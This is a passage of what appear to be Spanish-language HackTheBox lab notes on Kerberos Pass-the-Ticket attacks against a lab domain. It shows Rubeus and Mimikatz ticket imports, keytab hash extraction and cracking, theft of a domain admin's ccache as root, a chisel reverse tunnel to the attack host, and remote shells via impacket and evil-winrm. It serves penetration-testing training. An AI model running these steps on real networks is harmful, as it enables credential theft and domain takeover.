      5jvfr4BJmcOhhKIUDxyYsT3k59RUzzx7PRmlpS0zNNxqHj33yAjm79ECEc+5k4bNZBpS2gJeITWfcQOp
      lQ08ZKfZw3R3TWxqca4eP9Xtqlqv9SK5kbbnuuWIPV2/QHi3deB2TFvQp9CSLuvkC+4oNVg3VVR4bQ1P
      fU0+SPvL80fP7ZbmJrMan1NzLqit2t7MPEImxum049nUbFNSH6D57RoPAaGvSHePEwbqIDTghCJMic2X
      c7YJeb7y7yTYofA4WXC2f1MfixEEBIqtk/drhqJAVXz/WY9r/sWWj6dw9eEhmj/tVpPG2o1WBuRFV72K
      Qp3QMwJjPEKVYVK9f+uahPXQJSQ7uvTgfj3N5m48YBDuZEJUJ52vQgEctNrDEUP6wlCU5M0DLAnHrVl4
      Qy0qURQa4nmr1aPlKX8rFd/3axl83HTPqxg/b2CW2YSgEUQUe4SqqQgRlQ0PDImWUB4RHt+cH6D563n4
      PN+yqN20T9YwQMTEIWi7mT3kq8JdCG2qtHp/j2XNuqKyf7FjUs5z4GoIS6mp/3U/kdjVHonq5TqyAWxU
      wzVSa4hlVgbMq5dElbikynyR8maYftQk+AS/xYby0UeQweffDOnCixJ9p7fbPu0Sh2QWbaOYvaeKiG+A
      GhUAUi5WiQMDSf8EG8vgU2gXggt2Slr948fy7vhROp/CQVFLHwl5/kGjRHRdVj4E+Zwwxl/3IQAU0+ag
      GrHDlWUe3G66NrR/Jg8zXhiWEiViMd5qPC2JTW1ronEPHZFevsU0pVK+MDLYc3zKdfn0q0a3ys9DLoYJ
      8zNLBL3xqHY9lNe6YiiAzPG+Q6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEX
      oRIEED0RtMDJnODs5w89WCAI3bChCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUA
      QOEAAKURGA8yMDIyMDcxMjE2Mjc0N1qmERgPMjAyMjA3MTMwMjI3NDdapxEYDzIwMjIwNzE5MTYyNzQ3
      WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 12:27:47 PM
  EndTime               :  7/12/2022 10:27:47 PM
  RenewTill             :  7/19/2022 12:27:47 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  PRG0wMmc4OznDz1YIAjdsA==

Rubeus - Pass the Ticket

c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Convert .kirbi to Base64 Format

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))

doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzYYQAAAQtMIQAAAQnoIQAAAADAgEFoYQAAAAJGwdIVEIuQ09NooQAAAAsMIQAAAAmoIQAAAADAgECoYQAAAAXMIQAAAARGwZrcmJ0Z3QbB0hUQi5DT02jhAAAA9cwhAAAA9GghAAAAAMCARKhhAAAAAMCAQKihAAAA7kEggO1zqm0SuXewDEmypVORXzj8hyqSmikY9gxbM9xdpmA8r2EvTnv0UYkQFdf4B73Ss5ylutsSsyvnZYRVr8Ta9Wx/fvnjpJw/T70suDA4CgsuSZcBSo/jMnDjucWNtlDc8ez6<SNIP>

Pass the Ticket - Base64 Format

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Por último, también podemos realizar el ataque Pass the Ticket utilizando el módulo Mimikatz kerberos::ptty el archivo .kirbi que contiene el ticket que queremos importar.

Mimikatz - Pass the Ticket

C:\tools> mimikatz.exe 

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"

* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Pass The Ticket with PowerShell Remoting (Windows)

PowerShell Remoting nos permite ejecutar scripts o comandos en un equipo remoto. Los administradores suelen utilizar PowerShell Remoting para administrar equipos remotos en la red. Al habilitar PowerShell Remoting se crean escuchas HTTP y HTTPS. La escucha se ejecuta en el puerto estándar TCP/5985 para HTTP y TCP/5986 para HTTPS.

Mimikatz - PowerShell Remoting with Pass the Ticket

Mimikatz - Pass the Ticket for Lateral Movement.

C:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"

* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK

mimikatz # exit
Bye!

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>

Rubeus - PowerShell Remoting with Pass the Ticket

Rubeus tiene la opción createnetonly, que crea un proceso de sacrificio/sesión de inicio de sesión ( Tipo de inicio de sesión 9 ). El proceso está oculto de forma predeterminada, pero podemos especificar el indicador /showpara mostrar el proceso y el resultado es el equivalente a runas /netonly. Esto evita el borrado de los TGT existentes para la sesión de inicio de sesión actual.

Create a Sacrificial Process with Rubeus

C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3


[*] Action: Create process (/netonly)


[*] Using random username and password.

[*] Showing process : True
[*] Username        : JMI8CL7C
[*] Domain          : DTCDV6VL
[*] Password        : MRWI6XGI
[+] Process         : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1556
[+] LUID            : 0xe07648

El comando anterior abrirá una nueva ventana cmd. Desde esa ventana, podemos ejecutar Rubeus para solicitar un nuevo TGT con la opción /pttde importar el ticket a nuestra sesión actual y conectarnos al controlador de dominio mediante PowerShell Remoting.

Rubeus - Pass the Ticket for Lateral Movement

C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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
      ZWZyZWlnaHQuaHRi
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/inlanefreight.htb
  ServiceRealm             :  INLANEFREIGHT.HTB
  UserName                 :  john
  UserRealm                :  INLANEFREIGHT.HTB
  StartTime                :  7/18/2022 5:44:50 AM
  EndTime                  :  7/18/2022 3:44:50 PM
  RenewTill                :  7/25/2022 5:44:50 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GlOB1ClBWh0=
  ASREP (key)              :  9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01

Pass the Ticket (PtT) from Linux

En la mayoría de los casos, las máquinas Linux almacenan los tickets Kerberos como ccache files en el /tmpdirectorio. De forma predeterminada, la ubicación del ticket Kerberos se almacena en la variable de entorno KRB5CCNAME. Esta variable puede identificar si se están utilizando tickets Kerberos o si se ha cambiado la ubicación predeterminada para almacenar tickets Kerberos. Estos ccache files están protegidos por permisos de lectura y escritura, pero un usuario con privilegios elevados o privilegios de root podría acceder fácilmente a estos tickets.

Identifying Linux and Active Directory Integration

$ realm list

inlanefreight.htb
  type: kerberos
  .
  .
  .

PS - Check if Linux Machine is Domain Joined

ps -ef | grep -i "winbind\|sssd"

root        2140       1  0 Sep29 ?        00:00:01 /usr/sbin/sssd -i --logger=files
root        2141    2140  0 Sep29 ?        00:00:08 /usr/libexec/sssd/sssd_be --domain inlanefreight.htb --uid 0 --gid 0 --logger=files
root        2142    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root        2143    2140  0 Sep29 ?        00:00:03 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files

Finding Kerberos Tickets in Linux

Finding Keytab Files

Using Find to Search for Files with Keytab in the Name

find / -name *keytab* -ls 2>/dev/null

<SNIP>

   131610      4 -rw-------   1 root     root         1348 Oct  4 16:26 /etc/krb5.keytab
   262169      4 -rw-rw-rw-   1 root     root          216 Oct 12 15:13 /opt/specialfiles/carlos.keytab

Identifying Keytab Files in Cronjobs

$ crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
<SNIP>
# 
# m h  dom mon dow   command
*5/ * * * * /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh
carlos@inlanefreight.htb@linux01:~$ cat /home/carlos@inlanefreight.htb/.scripts/kerberos_script_test.sh

#!/bin/bash

kinit svc_workstations@INLANEFREIGHT.HTB -k -t /home/carlos@inlanefreight.htb/.scripts/svc_workstations.kt

smbclient //dc01.inlanefreight.htb/svc_workstations -c 'ls'  -k -no-pass > /home/carlos@inlanefreight.htb/script-test-results.txt

Finding ccache Files

Reviewing Environment Variables for ccache Files.

env | grep -i krb5

KRB5CCNAME=FILE:/tmp/krb5cc_647402606_qd2Pfh

Searching for ccache Files in /tmp

$ ls -la /tmp

total 68
drwxrwxrwt 13 root                     root                           4096 Oct  6 16:38 .
drwxr-xr-x 20 root                     root                           4096 Oct  6  2021 ..
-rw-------  1 julio@inlanefreight.htb  domain users@inlanefreight.htb 1406 Oct  6 16:38 krb5cc_647401106_tBswau
-rw-------  1 david@inlanefreight.htb  domain users@inlanefreight.htb 1406 Oct  6 15:23 krb5cc_647401107_Gf415d
-rw-------  1 carlos@inlanefreight.htb domain users@inlanefreight.htb 1433 Oct  6 15:43 krb5cc_647402606_qd2Pfh

Abusing KeyTab Files

Listing keytab File Information

klist -k -t 

/opt/specialfiles/carlos.keytab 
Keytab name: FILE:/opt/specialfiles/carlos.keytab
KVNO Timestamp           Principal
---- ------------------- ------------------------------------------------------
   1 10/06/2022 17:09:13 carlos@INLANEFREIGHT.HTB

Impersonating a User with a keytab

$ klist 

Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: david@INLANEFREIGHT.HTB

Valid starting     Expires            Service principal
10/06/22 17:02:11  10/07/22 03:02:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/07/22 17:02:11

~$ kinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab

~$ klist 
Ticket cache: FILE:/tmp/krb5cc_647401107_r5qiuu
Default principal: carlos@INLANEFREIGHT.HTB

Valid starting     Expires            Service principal
10/06/22 17:16:11  10/07/22 03:16:11  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/07/22 17:16:11

Connecting to SMB Share as Carlos

$ smbclient //dc01/carlos -k -c ls

  .                                   D        0  Thu Oct  6 14:46:26 2022
  ..                                  D        0  Thu Oct  6 14:46:26 2022
  carlos.txt                          A       15  Thu Oct  6 14:46:54 2022

                7706623 blocks of size 4096. 4452852 blocks available

Extracting Keytab Hashes with KeyTabExtract

$ python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab 

[*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
[*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
[*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
[+] Keytab File successfully imported.
        REALM : INLANEFREIGHT.HTB
        SERVICE PRINCIPAL : carlos/
        NTLM HASH : a738f92b3c08b424ec2d99589a9cce60
        AES-256 HASH : 42ff0baa586963d9010584eb9590595e8cd47c489e25e82aae69b1de2943007f
        AES-128 HASH : fa74d5abf4061baa1d4ff8485d1261c4

  • Crackeando el hash NT :

a738f92b3c08b424ec2d99589a9cce60 : Password5

obtenemos la contraseña en texto plano

Log in as Carlos

$ su - carlos@inlanefreight.htb

Password: 
carlos@inlanefreight.htb@linux01:~$ klist 
Ticket cache: FILE:/tmp/krb5cc_647402606_ZX6KFA
Default principal: carlos@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/07/2022 11:01:13  10/07/2022 21:01:13  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/08/2022 11:01:13

Carlos tiene un cronjob que utiliza un archivo keytab llamado svc_workstations.kt. Podemos repetir el proceso, descifrar la contraseña e iniciar sesión como svc_workstations.

Abusing Keytab ccache

$ ssh svc_workstations@inlanefreight.htb@10.129.204.23 -p 2222
                  
svc_workstations@inlanefreight.htb@10.129.204.23's password: 
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)          
...SNIP...

svc_workstations@inlanefreight.htb@linux01:~$ sudo -l
[sudo] password for svc_workstations@inlanefreight.htb: 
Matching Defaults entries for svc_workstations@inlanefreight.htb on linux01:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User svc_workstations@inlanefreight.htb may run the following commands on linux01:
    (ALL) ALL
svc_workstations@inlanefreight.htb@linux01:~$ sudo su
root@linux01:/home/svc_workstations@inlanefreight.htb# whoami
root

Looking for ccache Files

ls -la /tmp

total 76
drwxrwxrwt 13 root                               root                           4096 Oct  7 11:35 .
drwxr-xr-x 20 root                               root                           4096 Oct  6  2021 ..
-rw-------  1 julio@inlanefreight.htb            domain users@inlanefreight.htb 1406 Oct  7 11:35 krb5cc_647401106_HRJDux
-rw-------  1 julio@inlanefreight.htb            domain users@inlanefreight.htb 1406 Oct  7 11:35 krb5cc_647401106_qMKxc6
-rw-------  1 david@inlanefreight.htb            domain users@inlanefreight.htb 1406 Oct  7 10:43 krb5cc_647401107_O0oUWh
-rw-------  1 svc_workstations@inlanefreight.htb domain users@inlanefreight.htb 1535 Oct  7 11:21 krb5cc_647401109_D7gVZF
-rw-------  1 carlos@inlanefreight.htb           domain users@inlanefreight.htb 3175 Oct  7 11:35 krb5cc_647402606
-rw-------  1 carlos@inlanefreight.htb           domain users@inlanefreight.htb 1433 Oct  7 11:01 krb5cc_647402606_ZX6KFA

Identifying Group Membership with the id Command


# id julio@inlanefreight.htb

uid=647401106(julio@inlanefreight.htb) gid=647400513(domain users@inlanefreight.htb) groups=647400513(domain users@inlanefreight.htb),647400512(domain admins@inlanefreight.htb),647400572(denied rodc password replication group@inlanefreight.htb)

Importing the ccache File into our Current Session

~# klist

klist: No credentials cache found (filename: /tmp/krb5cc_0)
root@linux01:~# cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist

Ticket cache: FILE:/root/krb5cc_647401106_I8I133
Default principal: julio@INLANEFREIGHT.HTB

Valid starting       Expires              Service principal
10/07/2022 13:25:01  10/07/2022 23:25:01  krbtgt/INLANEFREIGHT.HTB@INLANEFREIGHT.HTB
        renew until 10/08/2022 13:25:01
root@linux01:~# smbclient //dc01/C$ -k -c ls -no-pass
  $Recycle.Bin                      DHS        0  Wed Oct  6 17:31:14 2021
  Config.Msi                        DHS        0  Wed Oct  6 14:26:27 2021
  Documents and Settings          DHSrn        0  Wed Oct  6 20:38:04 2021
  john                                D        0  Mon Jul 18 13:19:50 2022
  julio                               D        0  Mon Jul 18 13:54:02 2022
  pagefile.sys                      AHS 738197504  Thu Oct  6 21:32:44 2022
  PerfLogs                            D        0  Fri Feb 25 16:20:48 2022
  Program Files                      DR        0  Wed Oct  6 20:50:50 2021
  Program Files (x86)                 D        0  Mon Jul 18 16:00:35 2022
  ProgramData                       DHn        0  Fri Aug 19 12:18:42 2022
  SharedFolder                        D        0  Thu Oct  6 14:46:20 2022
  System Volume Information         DHS        0  Wed Jul 13 19:01:52 2022
  tools                               D        0  Thu Sep 22 18:19:04 2022
  Users                              DR        0  Thu Oct  6 11:46:05 2022
  Windows                             D        0  Wed Oct  5 13:20:00 2022

                7706623 blocks of size 4096. 4447612 blocks available

Using Linux Attack Tools with Kerberos

Host File Modified

$ cat /etc/hosts

# Host addresses

172.16.1.10 inlanefreight.htb   inlanefreight   dc01.inlanefreight.htb  dc01
172.16.1.5  ms01.inlanefreight.htb  ms01

Proxychains Configuration File

$ cat /etc/proxychains.conf

<SNIP>

[ProxyList]
socks5 127.0.0.1 1080

Download Chisel to our Attack Host

$ sudo ./chisel server --reverse 

2022/10/10 07:26:15 server: Reverse tunneling enabled
2022/10/10 07:26:15 server: Fingerprint 58EulHjQXAOsBRpxk232323sdLHd0r3r2nrdVYoYeVM=
2022/10/10 07:26:15 server: Listening on http://0.0.0.0:8080

Execute chisel from MS01

C:\htb> c:\tools\chisel.exe client 10.10.14.33:8080 R:socks

2022/10/10 06:34:19 client: Connecting to ws://10.10.14.33:8080
2022/10/10 06:34:20 client: Connected (Latency 125.6177ms)

Setting the KRB5CCNAME Environment Variable

$ export KRB5CCNAME=/home/student/krb5cc_647401106_I8I133

Impacket

Using Impacket with proxychains and Kerberos Authentication

$ proxychains impacket-wmiexec dc01 -k

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:50713  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  INLANEFREIGHT.HTB:88  ...  OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
inlanefreight\julio

Evil-Winrm

sudo apt-get install krb5-user -y

Reading package lists... Done                                                                                                  
Building dependency tree... Done    
Reading state information... Done

<SNIP>

Kerberos Configuration File for INLANEFREIGHT.HTB

$ cat /etc/krb5.conf

[libdefaults]
        default_realm = INLANEFREIGHT.HTB

<SNIP>

[realms]
    INLANEFREIGHT.HTB = {
        kdc = dc01.inlanefreight.htb
    }

<SNIP>

Using Evil-WinRM with Kerberos

 proxychains evil-winrm -i dc01 -r inlanefreight.htb

[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14

Evil-WinRM shell v3.3

Warning: Remote path completions are disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc01:5985  ...  OK
*Evil-WinRM* PS C:\Users\julio\Documents> whoami ; hostname
inlanefreight\julio
DC01

Miscellaneous

Impacket Ticket Converter

$ impacket-ticketConverter krb5cc_647401106_I8I133 julio.kirbi

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] converting ccache to kirbi...
[+] done

Importing Converted Ticket into Windows Session with Rubeus

C:\htb> C:\tools\Rubeus.exe ptt /ticket:c:\tools\julio.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.1.2


[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\htb> klist

Current LogonId is 0:0x31adf02

Cached Tickets: (1)

#0>     Client: julio @ INLANEFREIGHT.HTB
        Server: krbtgt/INLANEFREIGHT.HTB @ INLANEFREIGHT.HTB
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0xa1c20000 -> reserved forwarded invalid renewable initial 0x20000
        Start Time: 10/10/2022 5:46:02 (local)
        End Time:   10/10/2022 15:46:02 (local)
        Renew Time: 10/11/2022 5:46:02 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

C:\htb>dir \\dc01\julio
 Volume in drive \\dc01\julio has no label.
 Volume Serial Number is B8B3-0D72

 Directory of \\dc01\julio

07/14/2022  07:25 AM    <DIR>          .
07/14/2022  07:25 AM    <DIR>          ..
07/14/2022  04:18 PM                17 julio.txt
               1 File(s)             17 bytes
               2 Dir(s)  18,161,782,784 bytes free

Linikatz

Linikatz es una herramienta creada por el equipo de seguridad de Cisco para explotar credenciales en máquinas Linux cuando existe una integración con Active Directory. En otras palabras, Linikatz trae un principio similar a Mimikatzlos entornos UNIX.

$ /opt/linikatz.sh
 _ _       _ _         _
| (_)_ __ (_) | ____ _| |_ ____
| | | '_ \| | |/ / _` | __|_  /
| | | | | | |   < (_| | |_ / /
|_|_|_| |_|_|_|\_\__,_|\__/___|

             =[ @timb_machine ]=

I: [freeipa-check] FreeIPA AD configuration
-rw-r--r-- 1 root root 959 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Vendor-Firmware-Service
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Linux-Foundation-Firmware
-rw-r--r-- 1 root root 1702 Mar  4  2020 /etc/pki/fwupd/GPG-KEY-Hughski-Limited
-rw-r--r-- 1 root root 1679 Mar  4  2020 /etc/pki/fwupd/LVFS-CA.pem
-rw-r--r-- 1 root root 2169 Mar  4  2020 /etc/pki/fwupd-metadata/GPG-KEY-Linux-Foundation-Metadata
